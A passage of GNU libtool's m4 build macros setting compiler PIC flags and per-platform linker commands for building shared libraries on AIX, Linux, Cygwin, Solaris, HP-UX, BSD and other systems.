[lt_prog_compiler_pic], [1], [Additional compiler flags for building library objects]) # # Check to make sure the static flag actually works. # wl=$_LT_TAGVAR(lt_prog_compiler_wl, $1) eval lt_tmp_static_flag=\"$_LT_TAGVAR(lt_prog_compiler_static, $1)\" _LT_LINKER_OPTION([if $compiler static flag $lt_tmp_static_flag works], _LT_TAGVAR(lt_cv_prog_compiler_static_works, $1), $lt_tmp_static_flag, [], [_LT_TAGVAR(lt_prog_compiler_static, $1)=]) _LT_TAGDECL([link_static_flag], [lt_prog_compiler_static], [1], [Compiler flag to prevent dynamic linking]) ])# _LT_COMPILER_PIC # _LT_LINKER_SHLIBS([TAGNAME]) # ---------------------------- # See if the linker supports building shared libraries. m4_defun([_LT_LINKER_SHLIBS], [AC_REQUIRE([LT_PATH_LD])dnl AC_REQUIRE([LT_PATH_NM])dnl m4_require([_LT_FILEUTILS_DEFAULTS])dnl m4_require([_LT_DECL_EGREP])dnl m4_require([_LT_DECL_SED])dnl m4_require([_LT_CMD_GLOBAL_SYMBOLS])dnl m4_require([_LT_TAG_COMPILER])dnl AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries]) m4_if([$1], [CXX], [ _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' case $host_os in aix[[4-9]]*) # If we're using GNU nm, then we don't want the "-C" option. # -C means demangle to AIX nm, but means don't demangle with GNU nm if $NM -V 2>&1 | $GREP 'GNU' > /dev/null; then _LT_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B")) && ([substr](\$ 3,1,1) != ".")) { print \$ 3 } }'\'' | sort -u > $export_symbols' else _LT_TAGVAR(export_symbols_cmds, $1)='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B")) && ([substr](\$ 3,1,1) != ".")) { print \$ 3 } }'\'' | sort -u > $export_symbols' fi ;; pw32*) _LT_TAGVAR(export_symbols_cmds, $1)="$ltdll_cmds" ;; cygwin* | mingw* | cegcc*) _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/;/^.*[[ ]]__nm__/s/^.*[[ ]]__nm__\([[^ ]]*\)[[ ]][[^ ]]*/\1 DATA/;/^I[[ ]]/d;/^[[AITW]][[ ]]/s/.* //'\'' | sort | uniq > $export_symbols' ;; *) _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' ;; esac _LT_TAGVAR(exclude_expsyms, $1)=['_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*'] ], [ runpath_var= _LT_TAGVAR(allow_undefined_flag, $1)= _LT_TAGVAR(always_export_symbols, $1)=no _LT_TAGVAR(archive_cmds, $1)= _LT_TAGVAR(archive_expsym_cmds, $1)= _LT_TAGVAR(compiler_needs_object, $1)=no _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=no _LT_TAGVAR(export_dynamic_flag_spec, $1)= _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' _LT_TAGVAR(hardcode_automatic, $1)=no _LT_TAGVAR(hardcode_direct, $1)=no _LT_TAGVAR(hardcode_direct_absolute, $1)=no _LT_TAGVAR(hardcode_libdir_flag_spec, $1)= _LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)= _LT_TAGVAR(hardcode_libdir_separator, $1)= _LT_TAGVAR(hardcode_minus_L, $1)=no _LT_TAGVAR(hardcode_shlibpath_var, $1)=unsupported _LT_TAGVAR(inherit_rpath, $1)=no _LT_TAGVAR(link_all_deplibs, $1)=unknown _LT_TAGVAR(module_cmds, $1)= _LT_TAGVAR(module_expsym_cmds, $1)= _LT_TAGVAR(old_archive_from_new_cmds, $1)= _LT_TAGVAR(old_archive_from_expsyms_cmds, $1)= _LT_TAGVAR(thread_safe_flag_spec, $1)= _LT_TAGVAR(whole_archive_flag_spec, $1)= # include_expsyms should be a list of space-separated symbols to be *always* # included in the symbol list _LT_TAGVAR(include_expsyms, $1)= # exclude_expsyms can be an extended regexp of symbols to exclude # it will be wrapped by ` (' and `)$', so one must not match beginning or # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc', # as well as any symbol that contains `d'. _LT_TAGVAR(exclude_expsyms, $1)=['_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*'] # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out # platforms (ab)use it in PIC code, but their linkers get confused if # the symbol is explicitly referenced. Since portable code cannot # rely on this symbol name, it's probably fine to never include it in # preloaded symbol tables. # Exclude shared library initialization/finalization symbols. dnl Note also adjust exclude_expsyms for C++ above. extract_expsyms_cmds= case $host_os in cygwin* | mingw* | pw32* | cegcc*) # FIXME: the MSVC++ port hasn't been tested in a loooong time # When not using gcc, we currently assume that we are using # Microsoft Visual C++. if test "$GCC" != yes; then with_gnu_ld=no fi ;; interix*) # we just hope/assume this is gcc and not c89 (= MSVC++) with_gnu_ld=yes ;; openbsd*) with_gnu_ld=no ;; esac _LT_TAGVAR(ld_shlibs, $1)=yes if test "$with_gnu_ld" = yes; then # If archive_cmds runs LD, not CC, wlarc should be empty wlarc='${wl}' # Set some defaults for GNU ld with shared library support. These # are reset later if shared libraries are not supported. Putting them # here allows them to be overridden if necessary. runpath_var=LD_RUN_PATH _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic' # ancient GNU ld didn't support --whole-archive et. al. if $LD --help 2>&1 | $GREP 'no-whole-archive' > /dev/null; then _LT_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' else _LT_TAGVAR(whole_archive_flag_spec, $1)= fi supports_anon_versioning=no case `$LD -v 2>&1` in *\ [[01]].* | *\ 2.[[0-9]].* | *\ 2.10.*) ;; # catch versions < 2.11 *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ... *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ... *\ 2.11.*) ;; # other 2.11 versions *) supports_anon_versioning=yes ;; esac # See if GNU ld supports shared libraries. case $host_os in aix[[3-9]]*) # On AIX/PPC, the GNU linker is very broken if test "$host_cpu" != ia64; then _LT_TAGVAR(ld_shlibs, $1)=no cat <<_LT_EOF 1>&2 *** Warning: the GNU linker, at least up to release 2.9.1, is reported *** to be unable to reliably create shared libraries on AIX. *** Therefore, libtool is disabling shared libraries support. If you *** really care for shared libraries, you may want to modify your PATH *** so that a non-GNU linker is found, and then restart. _LT_EOF fi ;; amigaos*) case $host_cpu in powerpc) # see comment about AmigaOS4 .so support _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='' ;; m68k) _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/a2ixlibrary.data~$ECHO "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$ECHO "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$ECHO "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$ECHO "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' _LT_TAGVAR(hardcode_minus_L, $1)=yes ;; esac ;; beos*) if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then _LT_TAGVAR(allow_undefined_flag, $1)=unsupported # Joseph Beckenbach says some releases of gcc # support --undefined. This deserves some investigation. FIXME _LT_TAGVAR(archive_cmds, $1)='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' else _LT_TAGVAR(ld_shlibs, $1)=no fi ;; cygwin* | mingw* | pw32* | cegcc*) # _LT_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless, # as there is no search path for DLLs. _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' _LT_TAGVAR(allow_undefined_flag, $1)=unsupported _LT_TAGVAR(always_export_symbols, $1)=no _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/'\'' | $SED -e '\''/^[[AITW]][[ ]]/s/.*[[ ]]//'\'' | sort | uniq > $export_symbols' if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib' # If the export-symbols file already is a .def file (1st line # is EXPORTS), use it as is; otherwise, prepend... _LT_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then cp $export_symbols $output_objdir/$soname.def; else echo EXPORTS > $output_objdir/$soname.def; cat $export_symbols >> $output_objdir/$soname.def; fi~ $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib' else _LT_TAGVAR(ld_shlibs, $1)=no fi ;; interix[[3-9]]*) _LT_TAGVAR(hardcode_direct, $1)=no _LT_TAGVAR(hardcode_shlibpath_var, $1)=no _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc. # Instead, shared libraries are loaded at an image base (0x10000000 by # default) and relocated if they conflict, which is a slow very memory # consuming and fragmenting process. To avoid this, we pick a random, # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link # time. Moving up from 0x10000000 also allows more sbrk(2) space. _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib' ;; gnu* | linux* | tpf* | k*bsd*-gnu) tmp_diet=no if test "$host_os" = linux-dietlibc; then case $cc_basename in diet\ *) tmp_diet=yes;; # linux-dietlibc with static linking (!diet-dyn) esac fi if $LD --help 2>&1 | $EGREP ': supported targets:.* elf' > /dev/null \ && test "$tmp_diet" = no then tmp_addflag= tmp_sharedflag='-shared' case $cc_basename,$host_cpu in pgcc*) # Portland Group C compiler _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}--no-whole-archive' tmp_addflag=' $pic_flag' ;; pgf77* | pgf90* | pgf95*) # Portland Group f77 and f90 compilers _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}--no-whole-archive' tmp_addflag=' $pic_flag -Mnomain' ;; ecc*,ia64* | icc*,ia64*) # Intel C compiler on ia64 tmp_addflag=' -i_dynamic' ;; efc*,ia64* | ifort*,ia64*) # Intel Fortran compiler on ia64 tmp_addflag=' -i_dynamic -nofor_main' ;; ifc* | ifort*) # Intel Fortran compiler tmp_addflag=' -nofor_main' ;; lf95*) # Lahey Fortran 8.1 _LT_TAGVAR(whole_archive_flag_spec, $1)= tmp_sharedflag='--shared' ;; xl[[cC]]*) # IBM XL C 8.0 on PPC (deal with xlf below) tmp_sharedflag='-qmkshrobj' tmp_addflag= ;; esac case `$CC -V 2>&1 | sed 5q` in *Sun\ C*) # Sun C 5.9 _LT_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`new_convenience=; for conv in $convenience\"\"; do test -z \"$conv\" || new_convenience=\"$new_convenience,$conv\"; done; $ECHO \"$new_convenience\"` ${wl}--no-whole-archive' _LT_TAGVAR(compiler_needs_object, $1)=yes tmp_sharedflag='-G' ;; *Sun\ F*) # Sun Fortran 8.3 tmp_sharedflag='-G' ;; esac _LT_TAGVAR(archive_cmds, $1)='$CC '"$tmp_sharedflag""$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' if test "x$supports_anon_versioning" = xyes; then _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $output_objdir/$libname.ver~ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ echo "local: *; };" >> $output_objdir/$libname.ver~ $CC '"$tmp_sharedflag""$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib' fi case $cc_basename in xlf*) # IBM XL Fortran 10.1 on PPC cannot create shared libs itself _LT_TAGVAR(whole_archive_flag_spec, $1)='--whole-archive$convenience --no-whole-archive' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)= _LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='-rpath $libdir' _LT_TAGVAR(archive_cmds, $1)='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib' if test "x$supports_anon_versioning" = xyes; then _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $output_objdir/$libname.ver~ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ echo "local: *; };" >> $output_objdir/$libname.ver~ $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib' fi ;; esac else _LT_TAGVAR(ld_shlibs, $1)=no fi ;; netbsd*) if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib' wlarc= else _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' fi ;; solaris*) if $LD -v 2>&1 | $GREP 'BFD 2\.8' > /dev/null; then _LT_TAGVAR(ld_shlibs, $1)=no cat <<_LT_EOF 1>&2 *** Warning: The releases 2.8.* of the GNU linker cannot reliably *** create shared libraries on Solaris systems. Therefore, libtool *** is disabling shared libraries support. We urge you to upgrade GNU *** binutils to release 2.9.1 or newer. Another option is to modify *** your PATH or compiler configuration so that the native linker is *** used, and then restart. _LT_EOF elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' else _LT_TAGVAR(ld_shlibs, $1)=no fi ;; sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*) case `$LD -v 2>&1` in *\ [[01]].* | *\ 2.[[0-9]].* | *\ 2.1[[0-5]].*) _LT_TAGVAR(ld_shlibs, $1)=no cat <<_LT_EOF 1>&2 *** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not *** reliably create shared libraries on SCO systems. Therefore, libtool *** is disabling shared libraries support. We urge you to upgrade GNU *** binutils to release 2.16.91.0.3 or newer. Another option is to modify *** your PATH or compiler configuration so that the native linker is *** used, and then restart. _LT_EOF ;; *) # For security reasons, it is highly recommended that you always # use absolute paths for naming shared libraries, and exclude the # DT_RUNPATH tag from executables and libraries. But doing so # requires that you compile everything twice, which is a pain. if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' else _LT_TAGVAR(ld_shlibs, $1)=no fi ;; esac ;; sunos4*) _LT_TAGVAR(archive_cmds, $1)='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags' wlarc= _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; *) if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' else _LT_TAGVAR(ld_shlibs, $1)=no fi ;; esac if test "$_LT_TAGVAR(ld_shlibs, $1)" = no; then runpath_var= _LT_TAGVAR(hardcode_libdir_flag_spec, $1)= _LT_TAGVAR(export_dynamic_flag_spec, $1)= _LT_TAGVAR(whole_archive_flag_spec, $1)= fi else # PORTME fill in a description of your system's linker (not GNU ld) case $host_os in aix3*) _LT_TAGVAR(allow_undefined_flag, $1)=unsupported _LT_TAGVAR(always_export_symbols, $1)=yes _LT_TAGVAR(archive_expsym_cmds, $1)='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname' # Note: this linker hardcodes the directories in LIBPATH if there # are no directories specified by -L. _LT_TAGVAR(hardcode_minus_L, $1)=yes if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then # Neither direct hardcoding nor static linking is supported with a # broken collect2. _LT_TAGVAR(hardcode_direct, $1)=unsupported fi ;; aix[[4-9]]*) if test "$host_cpu" = ia64; then # On IA64, the linker does run time linking by default, so we don't # have to do anything special. aix_use_runtimelinking=no exp_sym_flag='-Bexport' no_entry_flag="" else # If we're using GNU nm, then we don't want the "-C" option. # -C means demangle to AIX nm, but means don't demangle with GNU nm if $NM -V 2>&1 | $GREP 'GNU' > /dev/null; then _LT_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B")) && ([substr](\$ 3,1,1) != ".")) { print \$ 3 } }'\'' | sort -u > $export_symbols' else _LT_TAGVAR(export_symbols_cmds, $1)='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B")) && ([substr](\$ 3,1,1) != ".")) { print \$ 3 } }'\'' | sort -u > $export_symbols' fi aix_use_runtimelinking=no # Test if we are trying to use run time linking or normal # AIX style linking. If -brtl is somewhere in LDFLAGS, we # need to do runtime linking. case $host_os in aix4.[[23]]|aix4.[[23]].*|aix[[5-9]]*) for ld_flag in $LDFLAGS; do if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then aix_use_runtimelinking=yes break fi done ;; esac exp_sym_flag='-bexport' no_entry_flag='-bnoentry' fi # When large executables or shared objects are built, AIX ld can # have problems creating the table of contents. If linking a library # or program results in "error TOC overflow" add -mminimal-toc to # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. _LT_TAGVAR(archive_cmds, $1)='' _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_direct_absolute, $1)=yes _LT_TAGVAR(hardcode_libdir_separator, $1)=':' _LT_TAGVAR(link_all_deplibs, $1)=yes _LT_TAGVAR(file_list_spec, $1)='${wl}-f,' if test "$GCC" = yes; then case $host_os in aix4.[[012]]|aix4.[[012]].*) # We only want to do this on AIX 4.2 and lower, the check # below for broken collect2 doesn't work under 4.3+ collect2name=`${CC} -print-prog-name=collect2` if test -f "$collect2name" && strings "$collect2name" | $GREP resolve_lib_name >/dev/null then # We have reworked collect2 : else # We have old collect2 _LT_TAGVAR(hardcode_direct, $1)=unsupported # It fails to find uninstalled libraries when the uninstalled # path is not listed in the libpath. Setting hardcode_minus_L # to unsupported forces relinking _LT_TAGVAR(hardcode_minus_L, $1)=yes _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)= fi ;; esac shared_flag='-shared' if test "$aix_use_runtimelinking" = yes; then shared_flag="$shared_flag "'${wl}-G' fi else # not using gcc if test "$host_cpu" = ia64; then # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release # chokes on -Wl,-G. The following line is correct: shared_flag='-G' else if test "$aix_use_runtimelinking" = yes; then shared_flag='${wl}-G' else shared_flag='${wl}-bM:SRE' fi fi fi _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-bexpall' # It seems that -bexpall does not export symbols beginning with # underscore (_), so it is better to generate a list of symbols to export. _LT_TAGVAR(always_export_symbols, $1)=yes if test "$aix_use_runtimelinking" = yes; then # Warning - without using the other runtime loading flags (-brtl), # -berok will link without error, but may produce a broken library. _LT_TAGVAR(allow_undefined_flag, $1)='-berok' # Determine the default libpath from the value encoded in an # empty executable. _LT_SYS_MODULE_PATH_AIX _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath" _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then $ECHO "X${wl}${allow_undefined_flag}" | $Xsed; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag" else if test "$host_cpu" = ia64; then _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $libdir:/usr/lib:/lib' _LT_TAGVAR(allow_undefined_flag, $1)="-z nodefs" _LT_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols" else # Determine the default libpath from the value encoded in an # empty executable. _LT_SYS_MODULE_PATH_AIX _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath" # Warning - without using the other run time loading flags, # -berok will link without error, but may produce a broken library. _LT_TAGVAR(no_undefined_flag, $1)=' ${wl}-bernotok' _LT_TAGVAR(allow_undefined_flag, $1)=' ${wl}-berok' # Exported symbols can be pulled into shared objects from archives _LT_TAGVAR(whole_archive_flag_spec, $1)='$convenience' _LT_TAGVAR(archive_cmds_need_lc, $1)=yes # This is similar to how AIX traditionally builds its shared libraries. _LT_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname' fi fi ;; amigaos*) case $host_cpu in powerpc) # see comment about AmigaOS4 .so support _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' _LT_TAGVAR(archive_expsym_cmds, $1)='' ;; m68k) _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/a2ixlibrary.data~$ECHO "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$ECHO "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$ECHO "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$ECHO "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' _LT_TAGVAR(hardcode_minus_L, $1)=yes ;; esac ;; bsdi[[45]]*) _LT_TAGVAR(export_dynamic_flag_spec, $1)=-rdynamic ;; cygwin* | mingw* | pw32* | cegcc*) # When not using gcc, we currently assume that we are using # Microsoft Visual C++. # hardcode_libdir_flag_spec is actually meaningless, as there is # no search path for DLLs. _LT_TAGVAR(hardcode_libdir_flag_spec, $1)=' ' _LT_TAGVAR(allow_undefined_flag, $1)=unsupported # Tell ltmain to make .lib files, not .a files. libext=lib # Tell ltmain to make .dll files, not .so files. shrext_cmds=".dll" # FIXME: Setting linknames here is a bad hack. _LT_TAGVAR(archive_cmds, $1)='$CC -o $lib $libobjs $compiler_flags `$ECHO "X$deplibs" | $Xsed -e '\''s/ -lc$//'\''` -link -dll~linknames=' # The linker will automatically build a .lib file if we build a DLL. _LT_TAGVAR(old_archive_from_new_cmds, $1)='true' # FIXME: Should let the user specify the lib program. _LT_TAGVAR(old_archive_cmds, $1)='lib -OUT:$oldlib$oldobjs$old_deplibs' _LT_TAGVAR(fix_srcfile_path, $1)='`cygpath -w "$srcfile"`' _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes ;; darwin* | rhapsody*) _LT_DARWIN_LINKER_FEATURES($1) ;; dgux*) _LT_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; freebsd1*) _LT_TAGVAR(ld_shlibs, $1)=no ;; # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor # support. Future versions do this automatically, but an explicit c++rt0.o # does not break anything, and helps significantly (at the cost of a little # extra space). freebsd2.2*) _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; # Unfortunately, older versions of FreeBSD 2 do not have this feature. freebsd2*) _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_minus_L, $1)=yes _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; # FreeBSD 3 and greater uses gcc -shared to do shared libraries. freebsd* | dragonfly*) _LT_TAGVAR(archive_cmds, $1)='$CC -shared -o $lib $libobjs $deplibs $compiler_flags' _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_shlibpath_var, $1)=no ;; hpux9*) if test "$GCC" = yes; then _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' else _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' fi _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: _LT_TAGVAR(hardcode_direct, $1)=yes # hardcode_minus_L: Not really in the search PATH, # but as the default location of the library. _LT_TAGVAR(hardcode_minus_L, $1)=yes _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' ;; hpux10*) if test "$GCC" = yes -a "$with_gnu_ld" = no; then _LT_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' else _LT_TAGVAR(archive_cmds, $1)='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags' fi if test "$with_gnu_ld" = no; then _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' _LT_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='+b $libdir' _LT_TAGVAR(hardcode_libdir_separator, $1)=: _LT_TAGVAR(hardcode_direct, $1)=yes _LT_TAGVAR(hardcode_direct_absolute, $1)=yes _LT_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' # hardcode_minus_L: Not really in the search PATH, # but as the default location of the library. _LT_TAGVAR(hardcode_minus_L, $1)=yes fi ;; hpux11*) if test "$GCC" = yes -a 